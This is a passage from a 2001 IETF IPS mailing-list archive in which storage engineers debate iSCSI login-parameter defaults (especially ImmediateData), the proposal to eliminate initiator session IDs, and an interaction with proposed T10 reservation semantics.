the default. SCSI has traditionally made its default behavior the simplest and most encompassing, setting more sophisticated behavior by subsequent agreement. While it may be your earnest desire to encourage the implementation of this function, it is not appropriate to demand that as the default behavior of all devices. In particular, there is no special benefit to providing ImmediateData in low-cost local sub-lans. If you want to encourage it in a profile, fine, but demanding it as the default in the core standard is not appropriate. Note that the behavior of SCSI is traditionally managed entirely by the target. As such, there has never before now been a requirement for the target to, as a default, accept any PDU except a command or task management function that was not explicitly solicited. That is one of the mechanisms that assists SCSI in achieving a low-overhead zero copy capability while operating with a large number of initiators and with deep command queues. Bob Snively e-mail: rsnively@brocade.com Brocade Communications Systems phone: 408 487 8135 1745 Technology Drive San Jose, CA 95110 > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Friday, September 28, 2001 1:33 AM > To: Julian Satran > Cc: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > I also agree with this. It should be yes. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM > > Sent by: owner-ips@ece.cmu.edu > > > To: ips@ece.cmu.edu > cc: > Subject: RE: iscsi : iscsi parameter default values > > > > > The one that I have trouble living with is ImmediateData. > This is important > for low-end desktops and hardly matters for large boxes. > As such I would suggest it stays as yes. > > Julo > > > > "Eddy > Quicksall" To: "'Santosh Rao'" > , > > iaone.net> cc: > Sent by: Subject: RE: > iscsi : iscsi > parameter default values > owner-ips@ece.c > mu.edu > > > 27-09-01 17:22 > Please respond > to "Eddy > Quicksall" > > > > > > I like your defaults below. > > But, section 5 says: > > The initial Login request MUST include the InitiatorName and > SessionType key=value pairs. > > Since SessionType is REQUIRED, naming a default would imply a > possible typo > in the spec. > > Eddy > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Wednesday, September 26, 2001 10:29 PM > To: ips@ece.cmu.edu > Subject: iscsi : iscsi parameter default values > > > All, > > With the issue of mode page vs. login keys having [almost] drawn to a > close, I would like to > raise the below issues again, on the subject of default > values for login > keys and other iscsi > parameters : > > > * In keeping with traditional use of scsi mode pages, iscsi should > not specify any default > settings for any mode pages that continue to exist for iscsi. > "Default values" for mode > pages are target specific and should not be bound to the protocol > draft. > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > :-< This implies that > targets must be always prepared to deal with out of > order data and > initiators must be > prepared to deal with out of order data, unless the initiator > performs a mode select to > disable it. [which defeats all the previous advantages > gained thru > mandating use of login > keys for other negotiations.]. A default, if it were to exist, > should be 0. (in-order, by > default). > > * Conservative specification of defaults for login keys along the > following lines : > MaxConnections = 1 > FMarker = "no" > InitialR2T = "yes" > BidiInitialR2T = "yes" > ImmediateData = "no" > DataPDULength = 16 > MaxOutstandingR2T = 1 > DataPDUInOrder = "yes" > ErrorRecoveryLevel = 0 > SessionType = "normal" > > * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, > is an EnableCRN bit > required at the transport layer ? If the device server capability > is to be negotiated , I > suggest this bit be moved to a SCSI ULP Mode Page such as the > "Control Mode Page", through a > T10 change as a part of the SCSI changes being driven by iscsi. > > Comments ? > > Thanks, > Santosh > > > Santosh Rao wrote: > > > There are the separate issues of : > > > > * iscsi's specification of defaults for its mode pages > which is not > in line with mode page > > usage. This impacts the target's ability to enforce > values other > than the protocol > > specified default, if the initiator were to not use mode > sense/select. > > > > * default settings for login keys. > > > > * Is there a need for the "LUN Control Mode Page" and whether > "Enable CRN" should be in a > > transport specific mode page ? > > > > which need to be driven to closure as well. > > > > Regards, > > Santosh > > > > > > > > > > > From owner-ips@ece.cmu.edu Fri Sep 28 15:20:46 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22868 for ; Fri, 28 Sep 2001 15:20:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SIBSO22732 for ips-outgoing; Fri, 28 Sep 2001 14:11:28 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e34.bld.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SIBQP22726 for ; Fri, 28 Sep 2001 14:11:26 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e34.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id OAA16296; Fri, 28 Sep 2001 14:08:44 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8SI9nn57490; Fri, 28 Sep 2001 12:09:49 -0600 Importance: Normal Subject: RE: iscsi : iscsi parameter default values To: Robert Snively Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 28 Sep 2001 11:09:04 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/28/2001 12:09:49 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Robert, We have had this debate before, and I guess the sides are still polarized. However, a number of folks believe that immediate is easier to handle then R2T (since all the information they need is with the PDU), and the conservative option. The main discussion has been since they also want to have R2T they did not want to have two code paths. However, when folks have looked at the effort to support immediate data, they have found it to be trivial. The payback of NOT having multiple round trips to get the data is an important feature, and when you think about all the error recovery items we have been discussing, it is clear that immediate data makes every thing easier. The important performance improvements are so important to iSCSI (in my mind) that if the worse the Target has to do if it can not handle immediate data, is to send the Text Key of "ImmediateData=no", I do not think this is a problem. We need to have this performance feature thought about as a normal property of iSCSI, so that every one that talks about the advantages of iSCSI can include this, with out a bunch of qualifying statements. Having this as the default is one way to keep this thought at the front of everyone's mind. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Robert Snively on 09/28/2001 08:25:45 AM To: John Hufferd/San Jose/IBM@IBMUS, Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iscsi : iscsi parameter default values I vote no as the default value on ImmediateData. A default value of yes on ImmediateData requires implementation of the most complex and demanding mode of operation as the default. SCSI has traditionally made its default behavior the simplest and most encompassing, setting more sophisticated behavior by subsequent agreement. While it may be your earnest desire to encourage the implementation of this function, it is not appropriate to demand that as the default behavior of all devices. In particular, there is no special benefit to providing ImmediateData in low-cost local sub-lans. If you want to encourage it in a profile, fine, but demanding it as the default in the core standard is not appropriate. Note that the behavior of SCSI is traditionally managed entirely by the target. As such, there has never before now been a requirement for the target to, as a default, accept any PDU except a command or task management function that was not explicitly solicited. That is one of the mechanisms that assists SCSI in achieving a low-overhead zero copy capability while operating with a large number of initiators and with deep command queues. Bob Snively e-mail: rsnively@brocade.com Brocade Communications Systems phone: 408 487 8135 1745 Technology Drive San Jose, CA 95110 > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Friday, September 28, 2001 1:33 AM > To: Julian Satran > Cc: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > I also agree with this. It should be yes. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM > > Sent by: owner-ips@ece.cmu.edu > > > To: ips@ece.cmu.edu > cc: > Subject: RE: iscsi : iscsi parameter default values > > > > > The one that I have trouble living with is ImmediateData. > This is important > for low-end desktops and hardly matters for large boxes. > As such I would suggest it stays as yes. > > Julo > > > > "Eddy > Quicksall" To: "'Santosh Rao'" > , > > iaone.net> cc: > Sent by: Subject: RE: > iscsi : iscsi > parameter default values > owner-ips@ece.c > mu.edu > > > 27-09-01 17:22 > Please respond > to "Eddy > Quicksall" > > > > > > I like your defaults below. > > But, section 5 says: > > The initial Login request MUST include the InitiatorName and > SessionType key=value pairs. > > Since SessionType is REQUIRED, naming a default would imply a > possible typo > in the spec. > > Eddy > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Wednesday, September 26, 2001 10:29 PM > To: ips@ece.cmu.edu > Subject: iscsi : iscsi parameter default values > > > All, > > With the issue of mode page vs. login keys having [almost] drawn to a > close, I would like to > raise the below issues again, on the subject of default > values for login > keys and other iscsi > parameters : > > > * In keeping with traditional use of scsi mode pages, iscsi should > not specify any default > settings for any mode pages that continue to exist for iscsi. > "Default values" for mode > pages are target specific and should not be bound to the protocol > draft. > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > :-< This implies that > targets must be always prepared to deal with out of > order data and > initiators must be > prepared to deal with out of order data, unless the initiator > performs a mode select to > disable it. [which defeats all the previous advantages > gained thru > mandating use of login > keys for other negotiations.]. A default, if it were to exist, > should be 0. (in-order, by > default). > > * Conservative specification of defaults for login keys along the > following lines : > MaxConnections = 1 > FMarker = "no" > InitialR2T = "yes" > BidiInitialR2T = "yes" > ImmediateData = "no" > DataPDULength = 16 > MaxOutstandingR2T = 1 > DataPDUInOrder = "yes" > ErrorRecoveryLevel = 0 > SessionType = "normal" > > * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, > is an EnableCRN bit > required at the transport layer ? If the device server capability > is to be negotiated , I > suggest this bit be moved to a SCSI ULP Mode Page such as the > "Control Mode Page", through a > T10 change as a part of the SCSI changes being driven by iscsi. > > Comments ? > > Thanks, > Santosh > > > Santosh Rao wrote: > > > There are the separate issues of : > > > > * iscsi's specification of defaults for its mode pages > which is not > in line with mode page > > usage. This impacts the target's ability to enforce > values other > than the protocol > > specified default, if the initiator were to not use mode > sense/select. > > > > * default settings for login keys. > > > > * Is there a need for the "LUN Control Mode Page" and whether > "Enable CRN" should be in a > > transport specific mode page ? > > > > which need to be driven to closure as well. > > > > Regards, > > Santosh > > > > > > > > > > > From owner-ips@ece.cmu.edu Fri Sep 28 16:07:21 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA23749 for ; Fri, 28 Sep 2001 16:07:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SJPQf27926 for ips-outgoing; Fri, 28 Sep 2001 15:25:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.us.dg.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SJPPP27922 for ; Fri, 28 Sep 2001 15:25:25 -0400 (EDT) Received: by mxic2.us.dg.com with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Sep 2001 15:22:32 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD7D4@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: iSCSI: ISID issue Date: Fri, 28 Sep 2001 15:17:43 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Attempting to pick this back up, and selectively quoting from the (extensive) email on this topic, here's where I think we are on this. The issue is whether to eliminate ISIDs, so that iSCSI sessions are identified solely by target-assigned TSIDs. The underlying concern is reliability of coordination of ISIDs among independent iSCSI implementations that make up a single iSCSI Initiator (one iSCSI Initiator Name), as originally stated by Nick Martin: > In particular this enables independent agents within the same initiator to > attempt a login without knowing all ISIDs in use by other agents. Each > agent would know the ISID of sessions it had successfully established, but > not the ISIDs for sessions established by others. It can use the ISIDs it > knows to recover sessions it owns. If an agent gets a failure attempting to > establish a new session, it would pick a different ISID and retry (or just > quit), rather than disrupting a session of another agent. > > I have a big problem with A) where independent agents must know the ISIDs > established by others in order to do no harm. There have been a couple of attempts to address this by requiring ISID coordination to be done via administrative or OS means, and allowing arbitrary failures when it is not done correctly. Unfortunately, these attempts have failed to distinguish between incorrect/buggy iSCSI protocol implementations (which can cause all sorts of problems and arguably deserve whatever bad results they get) and administrative errors such as mis-entering a config parameter or miscopying a parameter from a hand-written configuration sheet (for which there is benefit in limiting the damage that results, as we can expect such errors to occur no matter how carefully iSCSI and its management tools are implemented). The first attempt was to mandate a management interface - Jim Hafner wrote: > ... mandate a management interface for setting/configuring ISID > partitions and the problem goes away of non-cooperating HBAs. We can definitely mandate the existence of such an interface (actually ISID configuration interfaces for each iSCSI implementation), but we cannot mandate their correct use in all circumstances. We could decide that it's ok for minor mistakes in using that interface to result in major damage, but that may not be the best design approach. The second attempt was to strongly encourage automatic configuration mechanisms in OS platforms - Jim Hafner wrote: > The whole reason we put in the draft the "SHOULD partition" ISIDs among > portal groups and why it is so prominent is to get all the people building > these components to agree NOW to the OS-specific mechanisms to achieve it. > First recognize the need and THEN to define the mechanism (and I've said > that the mechanism isn't hard, we (as vendors, not necessarily within the > specification) just have to agree on it). Much as I believe iSCSI is important, I think this is essentially an exercise in wishful thinking - the "SHOULD partition" warning seems akin to firing a BB pellet across the bow of an aircraft carrier - it will likely be ignored. I don't think iSCSI is in a position to drive this sort of change into existing OS device driver infrastructures - rather I think it's incumbent upon us to make sure that it can exist cleanly within them. Jim goes on to say: > We're trying to prevent exactly the problem David (I think) mentioned with > FW Nodenames never taking on the role they should have. We're posting > right up front an implementation (strong) recommendation to enable both > assignment of Initiator Name (from outside the HW or SW) and of ISIDs (from > outside the HW or SW). This enables the protocol to function at its best. > If people don't want to implement to this recommendation, then they'll pay > the price with either inter-vendor interoperability problems (not with the > wire but within a given initiator) or with much more complex management > issues (a la FC Portnames). And I'm concerned that having failed to learn from the Fibre Channel history, we may be condemned to repeat it. The cross-HBA interfaces to coordinate the Node WWN never came into existence despite the best intentions and efforts of those involved in Fibre Channel, and they would have been no more complex than the ISID coordination (e.g., find all the possible Node WWNs, pick the numerically smallest). An issue has been raised about why the Target is better suited to assign session IDs than the Initiator. I've seen at least two good answers to this - Eddy Quicksall points out that this is fundamentally about managing Target-controlled resources: > Now, I'm wondering why we are even trying to use the ISID to reset a session > when we should be using the TSID ... because the target can produce unique > TSIDs and use that to identify the session much more easily than using the > combination of InitiatorName and ISID. And Sandeep Joshi points out that Targets tend to have a single entity controlling their entire implementation, unlike Initiators: > ..the target may not be monolithic > but one assumes it would atleast be "monogenic" (single-vendor) > thereby enabling it to disallow multiple nexuses being > started with the same > > The monogenic property may not hold for initiators so > a scheme which works without HBA cooperation is preferred > over one which requires cooperation. I think Jim Hafner's "kicker" issue of T10 changing reservations to be associated only with SCSI Initiator Ports is a major problem for iSCSI *independent* of whether ISIDs exist or not -- I don't think keeping ISIDs in their current form is sufficient to address that issue and may in fact be the wrong way to go about it, as I'll explain in a separate message. I now believe this issue to be orthogonal to whether ISIDs remain, but folks will have to read that separate message to see whether they agree. So, after reviewing all the email on this, I definitely don't see consensus on whether to keep ISIDs, but I'm seriously concerned that we are repeating the mistake Fibre Channel made with Node Names and will suffer the resulting consequences - iSCSI Initiator Names will get bound to HBAs rather than OS images in order to make absolutely positively sure that ISID conflicts cannot happen. At the risk of starting yet another long discussion, comments? --David -------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 28 16:09:50 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA23798 for ; Fri, 28 Sep 2001 16:09:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SIv7x25852 for ips-outgoing; Fri, 28 Sep 2001 14:57:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SIv4P25843 for ; Fri, 28 Sep 2001 14:57:05 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel13.hp.com (Postfix) with ESMTP id C845C1F7C1 for ; Fri, 28 Sep 2001 11:56:58 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id LAA06068 for ; Fri, 28 Sep 2001 11:56:54 -0700 (PDT) Message-ID: <3BB4C98C.815EB235@cup.hp.com> Date: Fri, 28 Sep 2001 12:03:40 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iscsi : iscsi parameter default values References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit John & Julian, I agree with you that ImmediateData is a powerful performance optimization and initiators would like to utilize this feature as much as possible. However, the decision on what the default setting of ImmediateData should be depends on 2 factors, that are aside from initiator's enthusiam to use this feature : 1) It is the most common feature set supported on most targets that should be considered while deciding this default. IOW, are most targets able to support immediate data ? Are they in a position to guarantee data buffers to initiators up-front, not knowing how many initiators would be concurrently logged in and how much concurrent I/O load they would be receiving from the logged-in initiators ? 2) The decision of the default is also partly influenced by the outcome of a seperate mail thread I've initiated with the subject "iscsi : target originated negotiation". Julian, can you please clarify in the wake of comments from Eddy Quicksall & Rod Harrison on this issue ? I see this as an area of interop concern since different folks are interpreting the spec differently. Of particular interest from that thread to this discussion, is the case where most targets do not support ImmediateData [due to the factors mentioned in (1) above] and most initiators are attempting to use ImmediateData [due to the performance boosts it provides], but, are using the default of "yes" to negotiate this feature. In this case, the target would be compelled to originate the ImmediateData="no" key in order to break the default. Now, if initiators (the responder to the negotiation, in this case) are required to respond to this key originated by the target, then, this is going to cause extra round-trips in the login process for the sole purpose of both sides agreeing that ImmediateData is not to be used. It would help to have clarification on how the target originated negotiation culminates, since that is a factor in deciding this default. Thanks, Santosh John Hufferd wrote: > > Robert, > We have had this debate before, and I guess the sides are still polarized. > However, a number of folks believe that immediate is easier to handle then > R2T (since all the information they need is with the PDU), and the > conservative option. The main discussion has been since they also want to > have R2T they did not want to have two code paths. However, when folks > have looked at the effort to support immediate data, they have found it to > be trivial. > > The payback of NOT having multiple round trips to get the data is an > important feature, and when you think about all the error recovery items we > have been discussing, it is clear that immediate data makes every thing > easier. > > The important performance improvements are so important to iSCSI (in my > mind) that if the worse the Target has to do if it can not handle immediate > data, is to send the Text Key of "ImmediateData=no", I do not think this is > a problem. We need to have this performance feature thought about as a > normal property of iSCSI, so that every one that talks about the advantages > of iSCSI can include this, with out a bunch of qualifying statements. > Having this as the default is one way to keep this thought at the front of > everyone's mind. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > Robert Snively on 09/28/2001 08:25:45 AM > > To: John Hufferd/San Jose/IBM@IBMUS, Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > I vote no as the default value on ImmediateData. > > A default value of yes on ImmediateData requires implementation > of the most complex and demanding mode of operation as the > default. SCSI has traditionally made its default behavior the > simplest and most encompassing, setting more sophisticated > behavior by subsequent agreement. While it may be your earnest > desire to encourage the implementation of this function, it > is not appropriate to demand that as the default behavior > of all devices. In particular, there is no special benefit > to providing ImmediateData in low-cost local sub-lans. > > If you want to encourage it in a profile, fine, but demanding > it as the default in the core standard is not appropriate. > > Note that the behavior of SCSI is traditionally managed > entirely by the target. As such, there has never before now > been a requirement for the target to, as a default, accept > any PDU except a command or task management function > that was not explicitly solicited. That is one of the mechanisms > that assists SCSI in achieving a low-overhead zero copy > capability while operating with a large number of initiators > and with deep command queues. > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > -----Original Message----- > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > Sent: Friday, September 28, 2001 1:33 AM > > To: Julian Satran > > Cc: ips@ece.cmu.edu > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > I also agree with this. It should be yes. > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com > > > > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > To: ips@ece.cmu.edu > > cc: > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > The one that I have trouble living with is ImmediateData. > > This is important > > for low-end desktops and hardly matters for large boxes. > > As such I would suggest it stays as yes. > > > > Julo > > > > > > > > "Eddy > > Quicksall" To: "'Santosh Rao'" > > , > > > > iaone.net> cc: > > Sent by: Subject: RE: > > iscsi : iscsi > > parameter default values > > owner-ips@ece.c > > mu.edu > > > > > > 27-09-01 17:22 > > Please respond > > to "Eddy > > Quicksall" > > > > > > > > > > > > I like your defaults below. > > > > But, section 5 says: > > > > The initial Login request MUST include the InitiatorName and > > SessionType key=value pairs. > > > > Since SessionType is REQUIRED, naming a default would imply a > > possible typo > > in the spec. > > > > Eddy > > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Wednesday, September 26, 2001 10:29 PM > > To: ips@ece.cmu.edu > > Subject: iscsi : iscsi parameter default values > > > > > > All, > > > > With the issue of mode page vs. login keys having [almost] drawn to a > > close, I would like to > > raise the below issues again, on the subject of default > > values for login > > keys and other iscsi > > parameters : > > > > > > * In keeping with traditional use of scsi mode pages, iscsi should > > not specify any default > > settings for any mode pages that continue to exist for iscsi. > > "Default values" for mode > > pages are target specific and should not be bound to the protocol > > draft. > > > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > > :-< This implies that > > targets must be always prepared to deal with out of > > order data and > > initiators must be > > prepared to deal with out of order data, unless the initiator > > performs a mode select to > > disable it. [which defeats all the previous advantages > > gained thru > > mandating use of login > > keys for other negotiations.]. A default, if it were to exist, > > should be 0. (in-order, by > > default). > > > > * Conservative specification of defaults for login keys along the > > following lines : > > MaxConnections = 1 > > FMarker = "no" > > InitialR2T = "yes" > > BidiInitialR2T = "yes" > > ImmediateData = "no" > > DataPDULength = 16 > > MaxOutstandingR2T = 1 > > DataPDUInOrder = "yes" > > ErrorRecoveryLevel = 0 > > SessionType = "normal" > > > > * Should the iscsi protocol require a "Lun Control Mode Page"? IOW, > > is an EnableCRN bit > > required at the transport layer ? If the device server capability > > is to be negotiated , I > > suggest this bit be moved to a SCSI ULP Mode Page such as the > > "Control Mode Page", through a > > T10 change as a part of the SCSI changes being driven by iscsi. > > > > Comments ? > > > > Thanks, > > Santosh > > > > > > Santosh Rao wrote: > > > > > There are the separate issues of : > > > > > > * iscsi's specification of defaults for its mode pages > > which is not > > in line with mode page > > > usage. This impacts the target's ability to enforce > > values other > > than the protocol > > > specified default, if the initiator were to not use mode > > sense/select. > > > > > > * default settings for login keys. > > > > > > * Is there a need for the "LUN Control Mode Page" and whether > > "Enable CRN" should be in a > > > transport specific mode page ? > > > > > > which need to be driven to closure as well. > > > > > > Regards, > > > Santosh > > > > > > > > > > > > > > > > > > > > > > -- ################################## Santosh Rao Software Design Engineer, HP-UX iSCSI Driver Team, Hewlett Packard, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################## From owner-ips@ece.cmu.edu Fri Sep 28 16:16:00 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24060 for ; Fri, 28 Sep 2001 16:16:00 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SJPse27957 for ips-outgoing; Fri, 28 Sep 2001 15:25:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.us.dg.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SJPrP27953 for ; Fri, 28 Sep 2001 15:25:54 -0400 (EDT) Received: by mxic2.us.dg.com with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Sep 2001 15:23:01 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD7D5@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: iSCSI: "kicker" reservation problem Date: Fri, 28 Sep 2001 15:18:13 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk In the midst of the ISID discussion, Jim Hafner tossed in the following: > Now comes a slight kicker! There is proposed language for SCSI that would > allow a device server to associate a reservation with a SCSI initiator port > *independent of the SCSI target port*, so I could have a path from one SCSI > initiator port through each SCSI target port and the reservation state > would be equivalent over all the paths (sort of I_*_L nexus). This new > language is based on one fundamental principle, that is, that the SCSI > initiator port has a world wide unique persistent intrinsic NAME on which > to base the unambiguous recognition of that SCSI Initiator Port independent > of the target port. In other words, with a name, the device server can > recognize the same initiator port through any of its target ports and so > grant equivalent access rights. And then pointed out that leaving the ISID as currently specified would be an easy way to accommodate this functionality. After further thought, I agree that this is easy, but believe that it is the wrong design approach because it'll make the current ISID allocation problems significantly worse. The reasoning starts by observing that while SCSI makes reservations, it doesn't "own" them in that it has no idea what the intended purpose of the reservation is - that knowledge exists only in some "application" (e.g., backup, cluster) above SCSI. If the proposed language is adopted to allow reservations to be shared across target ports, but be bound to initiator ports, the identities of the initiator ports have to be visible to the "application" so that it can control SCSI behavior with respect to reservations. For iSCSI, I think this leads to applications needing to be involved in ISID selection. Consider an application that opens a new iSCSI session to a different SCSI port on an iSCSI Target to which a session is already open. How does iSCSI know whether to reuse the same ISID as the existing session (so that reservations can span the sessions) or use a new ISID (so they don't)? The answer is that iSCSI does not have the information required to answer that question - it has to be passed down from the "application" which is the only entity that knows what the intended result is. The upshot is that the ISID coordination problem has just expanded in scope from multiple iSCSI implementations (e.g., HBAs) to also include multiple "applications" above SCSI - this is not a good thing. For the sake of simplicity, I think that if ISID remains, it should not be used for this sort of reservation scope control. In practice, I think the problem is more fundamental -- the proposed T10 language appears to be at odds with iSCSI's notion of dynamically created session endpoints that span hardware interfaces. At best, T10 is probably looking towards Fibre Channel in which session endpoints are static hardware interfaces. The easiest way to get back in line with T10 would be to forbid iSCSI sessions from spanning network interfaces, and then use the IP address of the network interface as the SCSI Initiator Port Name, but that would be a significant change from the approach we've been pursuing to date. Alternatively, we could invent yet another software name for the SCSI Initiator Port that exists primarily to cope with this new notion of reservation scope, but I tend to agree with Jim Hafner's concern that this makes the mapping of SAM-2 SCSI Port concepts to iSCSI less believable/tenable/etc. There doesn't appear to be a good solution here. Comments? --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 28 18:05:05 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA25895 for ; Fri, 28 Sep 2001 18:05:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8SL8VC04398 for ips-outgoing; Fri, 28 Sep 2001 17:08:31 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8SL8TP04394 for ; Fri, 28 Sep 2001 17:08:29 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel2.hp.com (Postfix) with ESMTP id 15C4C8F1; Fri, 28 Sep 2001 14:08:28 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id OAA19091; Fri, 28 Sep 2001 14:08:23 -0700 (PDT) Message-ID: <3BB4E85D.CE147067@cup.hp.com> Date: Fri, 28 Sep 2001 14:15:09 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran 